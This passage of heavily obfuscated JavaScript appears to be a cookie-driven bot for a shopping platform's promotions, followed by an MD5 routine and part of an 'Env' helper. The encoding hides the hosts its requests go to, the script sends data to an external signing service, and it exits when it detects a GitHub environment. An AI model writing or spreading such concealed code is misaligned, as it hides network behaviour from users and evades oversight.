_0x247b42!==_0x495e39;},'NQLwG':_0x34f8('‮b4'),'cPXvP':_0x34f8('‫b5'),'EFKXP':_0x34f8('‮b6'),'wWJGj':_0x34f8('‫b7'),'yMuoc':_0x34f8('‮b8'),'WFijj':function(_0xbb4971){return _0xbb4971();},'DNGms':_0x34f8('‫b9'),'KvmeV':_0x34f8('‮ba'),'IxlnC':function(_0x16767f,_0xba0ed7){return _0x16767f(_0xba0ed7);},'FLQDX':_0x34f8('‫bb'),'uNTCT':_0x34f8('‫bc'),'YkStT':_0x34f8('‮bd'),'CXYSz':_0x34f8('‫be'),'kUPDn':function(_0x5f379c,_0x13d782){return _0x5f379c(_0x13d782);},'ptttz':_0x34f8('‫bf')};let _0x2f918d={'url':_0x34f8('‫c0')+_0x448181[_0x34f8('‫c1')](encodeURIComponent,JSON[_0x34f8('‮c2')](_0x45640a))+_0x34f8('‮c3'),'headers':{'Host':_0x448181[_0x34f8('‫c4')],'Accept':_0x448181[_0x34f8('‫c5')],'Connection':_0x448181[_0x34f8('‮c6')],'Cookie':cookie,'User-Agent':_0x34f8('‮c7')+$[_0x34f8('‫29')]+_0x34f8('‮c8')+$[_0x34f8('‮26')]+_0x34f8('‫c9'),'Accept-Language':_0x448181[_0x34f8('‮ca')],'Referer':_0x34f8('‮cb')+_0x36f9c4+_0x34f8('‮cc')+_0x448181[_0x34f8('‮cd')](encodeURIComponent,$[_0x34f8('‮ce')]),'Accept-Encoding':_0x448181[_0x34f8('‮cf')]}};return new Promise(_0x1e2706=>{if(_0x448181[_0x34f8('‮d0')](_0x448181[_0x34f8('‮d1')],_0x448181[_0x34f8('‫d2')])){$[_0x34f8('‮d3')](_0x2f918d,(_0xf51ce5,_0x37efac,_0x386b2e)=>{var _0x16e2f4={'pNDDs':function(_0xc94f3b){return _0x448181[_0x34f8('‮d4')](_0xc94f3b);},'Gvrcc':_0x448181[_0x34f8('‫d5')]};try{if(_0x448181[_0x34f8('‮d0')](_0x448181[_0x34f8('‮d6')],_0x448181[_0x34f8('‫d7')])){if(_0xf51ce5){console[_0x34f8('‮16')](_0xf51ce5);}else{if(_0x448181[_0x34f8('‮d0')](_0x448181[_0x34f8('‫d8')],_0x448181[_0x34f8('‫d8')])){_0x16e2f4[_0x34f8('‮d9')](_0x1e2706);}else{res=JSON[_0x34f8('‫9c')](_0x386b2e);if(res[_0x34f8('‫9d')]){if(res[_0x34f8('‫da')][_0x34f8('‫db')]){$[_0x34f8('‫dc')]=res[_0x34f8('‫da')][_0x34f8('‫db')][0x0][_0x34f8('‮dd')][_0x34f8('‮de')];}}}}}else{if(res[_0x34f8('‫da')][_0x34f8('‫db')]){$[_0x34f8('‫dc')]=res[_0x34f8('‫da')][_0x34f8('‫db')][0x0][_0x34f8('‮dd')][_0x34f8('‮de')];}}}catch(_0x54f86e){if(_0x448181[_0x34f8('‮d0')](_0x448181[_0x34f8('‫df')],_0x448181[_0x34f8('‫df')])){$[_0x34f8('‮16')](_0x16e2f4[_0x34f8('‫e0')]);}else{console[_0x34f8('‮16')](_0x54f86e);}}finally{if(_0x448181[_0x34f8('‮d0')](_0x448181[_0x34f8('‫e1')],_0x448181[_0x34f8('‫e1')])){$[_0x34f8('‮16')]('','❌\x20'+$[_0x34f8('‫e')]+_0x34f8('‮41')+e+'!','');}else{_0x448181[_0x34f8('‫e2')](_0x1e2706);}}});}else{uuid=v[_0x34f8('‫e3')](0x24);}});}function taskUrl(_0x14abf4,_0x22db4e){var _0x4bf041={'mlajR':_0x34f8('‫e4'),'eZFRz':_0x34f8('‫e5'),'UJcYq':_0x34f8('‫e6'),'rjEhK':_0x34f8('‫e7'),'Djdgg':_0x34f8('‫bf'),'pOlJV':_0x34f8('‮e8'),'xwKQv':_0x34f8('‫e9'),'vOCBo':_0x34f8('‮bd'),'wcfXT':_0x34f8('‮ea')};return{'url':_0x34f8('‮eb')+_0x14abf4+_0x34f8('‫ec')+($[_0x34f8('‫5a')]?$[_0x34f8('‫5a')]:''),'headers':{'Host':_0x4bf041[_0x34f8('‮ed')],'Accept':_0x4bf041[_0x34f8('‮ee')],'X-Requested-With':_0x4bf041[_0x34f8('‮ef')],'Accept-Language':_0x4bf041[_0x34f8('‮f0')],'Accept-Encoding':_0x4bf041[_0x34f8('‫f1')],'Content-Type':_0x4bf041[_0x34f8('‮f2')],'Origin':_0x4bf041[_0x34f8('‫f3')],'User-Agent':_0x34f8('‮f4')+$[_0x34f8('‫29')]+_0x34f8('‮c8')+$[_0x34f8('‮26')]+_0x34f8('‫c9'),'Connection':_0x4bf041[_0x34f8('‫f5')],'Referer':_0x4bf041[_0x34f8('‮f6')],'Cookie':cookie},'body':JSON[_0x34f8('‮c2')](_0x22db4e)};}function random(_0x1a5b21,_0x790330){var _0x37e1c4={'PMZRe':function(_0x4b9313,_0x1ef9fa){return _0x4b9313+_0x1ef9fa;},'NBBAB':function(_0x85c19d,_0x599aeb){return _0x85c19d*_0x599aeb;},'cwxuB':function(_0x4de34d,_0x58c25b){return _0x4de34d-_0x58c25b;}};return _0x37e1c4[_0x34f8('‮f7')](Math[_0x34f8('‫b0')](_0x37e1c4[_0x34f8('‫f8')](Math[_0x34f8('‫b2')](),_0x37e1c4[_0x34f8('‫f9')](_0x790330,_0x1a5b21))),_0x1a5b21);}function getUUID(_0x10e0e9=_0x34f8('‮6'),_0x1679c3=0x0){var _0x236cba={'jAVbU':function(_0x30e455,_0x3c2038){return _0x30e455!==_0x3c2038;},'HVSkC':_0x34f8('‫fa'),'twuGW':_0x34f8('‮fb'),'mEuYB':function(_0x29955c,_0x26f988){return _0x29955c|_0x26f988;},'xFDjS':function(_0x1b781c,_0x51f502){return _0x1b781c*_0x51f502;},'eHNMv':function(_0x254c61,_0x2d72e1){return _0x254c61==_0x2d72e1;},'fpoYX':function(_0x25ebc9,_0x462715){return _0x25ebc9|_0x462715;},'ULkQZ':function(_0x13a418,_0x5cadf7){return _0x13a418&_0x5cadf7;}};return _0x10e0e9[_0x34f8('‮fc')](/[xy]/g,function(_0x14ef4b){if(_0x236cba[_0x34f8('‮fd')](_0x236cba[_0x34f8('‮fe')],_0x236cba[_0x34f8('‮ff')])){var _0x253a21=_0x236cba[_0x34f8('‮100')](_0x236cba[_0x34f8('‮101')](Math[_0x34f8('‫b2')](),0x10),0x0),_0x2a0d37=_0x236cba[_0x34f8('‮102')](_0x14ef4b,'x')?_0x253a21:_0x236cba[_0x34f8('‫103')](_0x236cba[_0x34f8('‫104')](_0x253a21,0x3),0x8);if(_0x1679c3){uuid=_0x2a0d37[_0x34f8('‫e3')](0x24)[_0x34f8('‫105')]();}else{uuid=_0x2a0d37[_0x34f8('‫e3')](0x24);}return uuid;}else{$[_0x34f8('‮16')](err);}});}function checkCookie(){var _0x74f23c={'RDfAY':function(_0x2b72d1,_0x5d8bae){return _0x2b72d1===_0x5d8bae;},'QjbEk':_0x34f8('‫106'),'chLJS':_0x34f8('‮107'),'ulKGV':function(_0x469a95,_0xa19a15){return _0x469a95===_0xa19a15;},'oRfrB':_0x34f8('‫108'),'CqTqY':function(_0x1d6bc5,_0x28ab9f){return _0x1d6bc5===_0x28ab9f;},'XoflT':_0x34f8('‫109'),'qUCOH':_0x34f8('‮0'),'edqxI':_0x34f8('‮10a'),'ztAHg':_0x34f8('‮10b'),'jUJpQ':function(_0x102e1b){return _0x102e1b();},'KkSob':_0x34f8('‮10c'),'fjVzy':_0x34f8('‮10d'),'CFJIo':_0x34f8('‫bc'),'qVDAP':_0x34f8('‮bd'),'CGOtl':_0x34f8('‫10e'),'ZJNVl':_0x34f8('‫be'),'pauuQ':_0x34f8('‮10f'),'odTFg':_0x34f8('‫bf')};const _0x513d37={'url':_0x74f23c[_0x34f8('‮110')],'headers':{'Host':_0x74f23c[_0x34f8('‫111')],'Accept':_0x74f23c[_0x34f8('‮112')],'Connection':_0x74f23c[_0x34f8('‮113')],'Cookie':cookie,'User-Agent':_0x74f23c[_0x34f8('‮114')],'Accept-Language':_0x74f23c[_0x34f8('‮115')],'Referer':_0x74f23c[_0x34f8('‮116')],'Accept-Encoding':_0x74f23c[_0x34f8('‮117')]}};return new Promise(_0x4a9dcc=>{var _0x15a507={'dyBlR':_0x74f23c[_0x34f8('‫118')]};$[_0x34f8('‮d3')](_0x513d37,(_0x31f60f,_0xa57610,_0x212262)=>{try{if(_0x74f23c[_0x34f8('‮119')](_0x74f23c[_0x34f8('‫11a')],_0x74f23c[_0x34f8('‮11b')])){console[_0x34f8('‮16')](''+JSON[_0x34f8('‮c2')](_0x31f60f));console[_0x34f8('‮16')]($[_0x34f8('‫e')]+_0x34f8('‫11c'));}else{if(_0x31f60f){$[_0x34f8('‮11d')](_0x31f60f);}else{if(_0x212262){_0x212262=JSON[_0x34f8('‫9c')](_0x212262);if(_0x74f23c[_0x34f8('‫11e')](_0x212262[_0x34f8('‮11f')],_0x74f23c[_0x34f8('‮120')])){$[_0x34f8('‫1c')]=![];return;}if(_0x74f23c[_0x34f8('‮121')](_0x212262[_0x34f8('‮11f')],'0')&&_0x212262[_0x34f8('‮9e')][_0x34f8('‮122')](_0x74f23c[_0x34f8('‫123')])){$[_0x34f8('‫1d')]=_0x212262[_0x34f8('‮9e')][_0x34f8('‫109')][_0x34f8('‮124')][_0x34f8('‮125')];}}else{$[_0x34f8('‮16')](_0x74f23c[_0x34f8('‫118')]);}}}}catch(_0x4f49d7){if(_0x74f23c[_0x34f8('‮121')](_0x74f23c[_0x34f8('‫126')],_0x74f23c[_0x34f8('‫127')])){$[_0x34f8('‮16')](_0x15a507[_0x34f8('‮128')]);}else{$[_0x34f8('‮11d')](_0x4f49d7);}}finally{_0x74f23c[_0x34f8('‮129')](_0x4a9dcc);}});});}async function getToken(){var _0xea7e15={'jzXSh':function(_0x5eb448,_0xce3d26){return _0x5eb448|_0xce3d26;},'pozyG':function(_0x203d12,_0x53e32c){return _0x203d12*_0x53e32c;},'UZsaq':function(_0x12a761,_0x3deb16){return _0x12a761==_0x3deb16;},'cNLgM':function(_0x1786f5,_0x941b3e){return _0x1786f5&_0x941b3e;},'VcezP':function(_0xfdd921,_0x1c67f6){return _0xfdd921!==_0x1c67f6;},'muZDR':_0x34f8('‫12a'),'ZWzLm':function(_0x354323,_0x4e430f){return _0x354323===_0x4e430f;},'tHIcO':_0x34f8('‫12b'),'oOqYx':_0x34f8('‫12c'),'ggpDD':function(_0x1a1ee4,_0x4fea8e){return _0x1a1ee4!==_0x4fea8e;},'JIZSB':_0x34f8('‫12d'),'oEnCp':_0x34f8('‮12e'),'PUYIr':_0x34f8('‮0'),'flHIf':function(_0x40c7c2){return _0x40c7c2();},'HEUdT':function(_0x1dedf3,_0x4c48f6){return _0x1dedf3===_0x4c48f6;},'izIMa':function(_0x2e65d9,_0x49e4a0){return _0x2e65d9!==_0x49e4a0;},'LYLIU':_0x34f8('‫12f'),'lGjTM':_0x34f8('‫130'),'IrVwt':function(_0x57798e,_0x463daf,_0x5989c1){return _0x57798e(_0x463daf,_0x5989c1);},'axymu':_0x34f8('‫131'),'zEDrk':_0x34f8('‮132'),'zvVwf':_0x34f8('‫bb'),'byBlv':_0x34f8('‫133'),'gwXFo':_0x34f8('‫bc'),'XVjto':_0x34f8('‮bd'),'vwrxJ':_0x34f8('‫134'),'dyXIr':_0x34f8('‫135'),'oFIGx':_0x34f8('‫bf')};let _0xf86a07=await _0xea7e15[_0x34f8('‫136')](getSign,_0xea7e15[_0x34f8('‮137')],{'id':'','url':_0xea7e15[_0x34f8('‮138')]});let _0x1b85b4={'url':_0x34f8('‫139'),'headers':{'Host':_0xea7e15[_0x34f8('‫13a')],'Content-Type':_0xea7e15[_0x34f8('‮13b')],'Accept':_0xea7e15[_0x34f8('‫13c')],'Connection':_0xea7e15[_0x34f8('‫13d')],'Cookie':cookie,'User-Agent':_0xea7e15[_0x34f8('‫13e')],'Accept-Language':_0xea7e15[_0x34f8('‫13f')],'Accept-Encoding':_0xea7e15[_0x34f8('‫140')]},'body':_0xf86a07};return new Promise(_0x4997f2=>{var _0x5f0e09={'ZmakN':function(_0x44e847,_0x90563){return _0xea7e15[_0x34f8('‫141')](_0x44e847,_0x90563);},'KShBn':function(_0x13e210,_0x2756c7){return _0xea7e15[_0x34f8('‫142')](_0x13e210,_0x2756c7);},'imVqw':function(_0xa857e,_0x149363){return _0xea7e15[_0x34f8('‫143')](_0xa857e,_0x149363);},'kYNUN':function(_0xf717df,_0x189bb4){return _0xea7e15[_0x34f8('‫144')](_0xf717df,_0x189bb4);},'vBIFQ':function(_0x1ccdb8,_0x2be993){return _0xea7e15[_0x34f8('‫145')](_0x1ccdb8,_0x2be993);},'opmnd':_0xea7e15[_0x34f8('‫146')],'YhCBp':function(_0x37303e,_0x20c452){return _0xea7e15[_0x34f8('‫147')](_0x37303e,_0x20c452);},'mwjJX':_0xea7e15[_0x34f8('‮148')],'kIJIh':_0xea7e15[_0x34f8('‮149')],'zSEfD':function(_0x57ffa6,_0x142270){return _0xea7e15[_0x34f8('‫14a')](_0x57ffa6,_0x142270);},'RjTuv':_0xea7e15[_0x34f8('‮14b')],'eLrRs':_0xea7e15[_0x34f8('‫14c')],'MNHzL':_0xea7e15[_0x34f8('‫14d')],'FLTcF':function(_0x34e45f){return _0xea7e15[_0x34f8('‫14e')](_0x34e45f);},'dZRjX':function(_0x1e9c6b,_0x2ceafa){return _0xea7e15[_0x34f8('‫14f')](_0x1e9c6b,_0x2ceafa);}};if(_0xea7e15[_0x34f8('‮150')](_0xea7e15[_0x34f8('‮151')],_0xea7e15[_0x34f8('‮152')])){$[_0x34f8('‮92')](_0x1b85b4,(_0x35366f,_0x427fd4,_0x684405)=>{try{if(_0x35366f){if(_0x5f0e09[_0x34f8('‮153')](_0x5f0e09[_0x34f8('‫154')],_0x5f0e09[_0x34f8('‫154')])){var _0x233089=_0x5f0e09[_0x34f8('‮155')](_0x5f0e09[_0x34f8('‮156')](Math[_0x34f8('‫b2')](),0x10),0x0),_0x32d992=_0x5f0e09[_0x34f8('‫157')](c,'x')?_0x233089:_0x5f0e09[_0x34f8('‮155')](_0x5f0e09[_0x34f8('‫158')](_0x233089,0x3),0x8);if(UpperCase){uuid=_0x32d992[_0x34f8('‫e3')](0x24)[_0x34f8('‫105')]();}else{uuid=_0x32d992[_0x34f8('‫e3')](0x24);}return uuid;}else{$[_0x34f8('‮16')](_0x35366f);}}else{if(_0x684405){_0x684405=JSON[_0x34f8('‫9c')](_0x684405);if(_0x5f0e09[_0x34f8('‫159')](_0x684405[_0x34f8('‮15a')],'0')){if(_0x5f0e09[_0x34f8('‮153')](_0x5f0e09[_0x34f8('‫15b')],_0x5f0e09[_0x34f8('‫15c')])){$[_0x34f8('‫59')]=_0x684405[_0x34f8('‫59')];}else{$[_0x34f8('‫dc')]=res[_0x34f8('‫da')][_0x34f8('‫db')][0x0][_0x34f8('‮dd')][_0x34f8('‮de')];}}}else{if(_0x5f0e09[_0x34f8('‫15d')](_0x5f0e09[_0x34f8('‫15e')],_0x5f0e09[_0x34f8('‫15f')])){$[_0x34f8('‮16')](_0x5f0e09[_0x34f8('‫160')]);}else{$[_0x34f8('‫43')]();}}}}catch(_0x4b980f){$[_0x34f8('‮16')](_0x4b980f);}finally{_0x5f0e09[_0x34f8('‮161')](_0x4997f2);}});}else{data=JSON[_0x34f8('‫9c')](data);if(_0x5f0e09[_0x34f8('‮162')](data[_0x34f8('‮15a')],'0')){$[_0x34f8('‫59')]=data[_0x34f8('‫59')];}}});}function getSign(_0x1cfa28,_0x225765){var _0x338265={'zxUeZ':function(_0x37aa03,_0xf1f223){return _0x37aa03+_0xf1f223;},'ryern':function(_0x48e5fc,_0x3917e2){return _0x48e5fc*_0x3917e2;},'GdobO':function(_0x1a98a8,_0x1d639c){return _0x1a98a8-_0x1d639c;},'odGRO':_0x34f8('‮1'),'uKzLT':_0x34f8('‮2'),'emQBt':function(_0x38fe9c,_0x2268ec){return _0x38fe9c!==_0x2268ec;},'FFRxm':_0x34f8('‮163'),'HDZOY':_0x34f8('‮164'),'gHXqb':function(_0x58e94b,_0x3a082f){return _0x58e94b===_0x3a082f;},'ByZey':_0x34f8('‮165'),'kiIpC':function(_0x2b9232,_0xcde421){return _0x2b9232(_0xcde421);},'RUpVI':_0x34f8('‫166'),'sNWDV':_0x34f8('‫167'),'mdrBL':function(_0x30db10,_0x11a1de){return _0x30db10!==_0x11a1de;},'eJCse':_0x34f8('‫168'),'rnUqL':_0x34f8('‮169'),'plzvl':function(_0x44aa1e,_0xcf0746){return _0x44aa1e*_0xcf0746;}};return new Promise(async _0x4f7684=>{var _0xd3ac79={'RAbTg':_0x338265[_0x34f8('‫16a')],'ZvRNz':_0x338265[_0x34f8('‮16b')],'ugxGk':function(_0x42d422,_0x3764a7){return _0x338265[_0x34f8('‮16c')](_0x42d422,_0x3764a7);},'GUiUK':_0x338265[_0x34f8('‮16d')],'ktIVq':_0x338265[_0x34f8('‫16e')],'SleYz':function(_0x2742,_0x3baf72){return _0x338265[_0x34f8('‮16f')](_0x2742,_0x3baf72);},'JgTBj':_0x338265[_0x34f8('‮170')],'RQrBV':function(_0x1efd04,_0x4116e4){return _0x338265[_0x34f8('‮171')](_0x1efd04,_0x4116e4);}};let _0xfc08b4={'functionId':_0x1cfa28,'body':JSON[_0x34f8('‮c2')](_0x225765),'activityId':_0x338265[_0x34f8('‮172')]};let _0x2c289b='';let _0x1df3eb=[_0x338265[_0x34f8('‫173')]];if(process[_0x34f8('‫3c')][_0x34f8('‮3d')]){_0x2c289b=process[_0x34f8('‫3c')][_0x34f8('‮3d')];}else{if(_0x338265[_0x34f8('‫174')](_0x338265[_0x34f8('‫175')],_0x338265[_0x34f8('‫175')])){return _0x338265[_0x34f8('‮176')](Math[_0x34f8('‫b0')](_0x338265[_0x34f8('‫177')](Math[_0x34f8('‫b2')](),_0x338265[_0x34f8('‮178')](max,min))),min);}else{_0x2c289b=_0x1df3eb[Math[_0x34f8('‫b0')](_0x338265[_0x34f8('‫177')](Math[_0x34f8('‫b2')](),_0x1df3eb[_0x34f8('‮12')]))];}}let _0x162692={'url':_0x34f8('‫179'),'body':JSON[_0x34f8('‮c2')](_0xfc08b4),'headers':{'Host':_0x2c289b,'User-Agent':_0x338265[_0x34f8('‮17a')]},'timeout':_0x338265[_0x34f8('‮17b')](0x1e,0x3e8)};$[_0x34f8('‮92')](_0x162692,(_0x58868c,_0xc392e9,_0xfc08b4)=>{var _0x189271={'gzvFY':_0xd3ac79[_0x34f8('‫17c')],'IDIfq':_0xd3ac79[_0x34f8('‫17d')]};try{if(_0xd3ac79[_0x34f8('‫17e')](_0xd3ac79[_0x34f8('‫17f')],_0xd3ac79[_0x34f8('‫180')])){if(_0x58868c){if(_0xd3ac79[_0x34f8('‮181')](_0xd3ac79[_0x34f8('‮182')],_0xd3ac79[_0x34f8('‮182')])){console[_0x34f8('‮16')](''+JSON[_0x34f8('‮c2')](_0x58868c));console[_0x34f8('‮16')]($[_0x34f8('‫e')]+_0x34f8('‫11c'));}else{$[_0x34f8('‮d')]($[_0x34f8('‫e')],_0x189271[_0x34f8('‮183')],_0x189271[_0x34f8('‫184')],{'open-url':_0x189271[_0x34f8('‫184')]});return;}}else{}}else{$[_0x34f8('‫1d')]=_0xfc08b4[_0x34f8('‮9e')][_0x34f8('‫109')][_0x34f8('‮124')][_0x34f8('‮125')];}}catch(_0x5221df){$[_0x34f8('‮11d')](_0x5221df,_0xc392e9);}finally{_0xd3ac79[_0x34f8('‫185')](_0x4f7684,_0xfc08b4);}});});};_0xoda='jsjiami.com.v6'; +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { 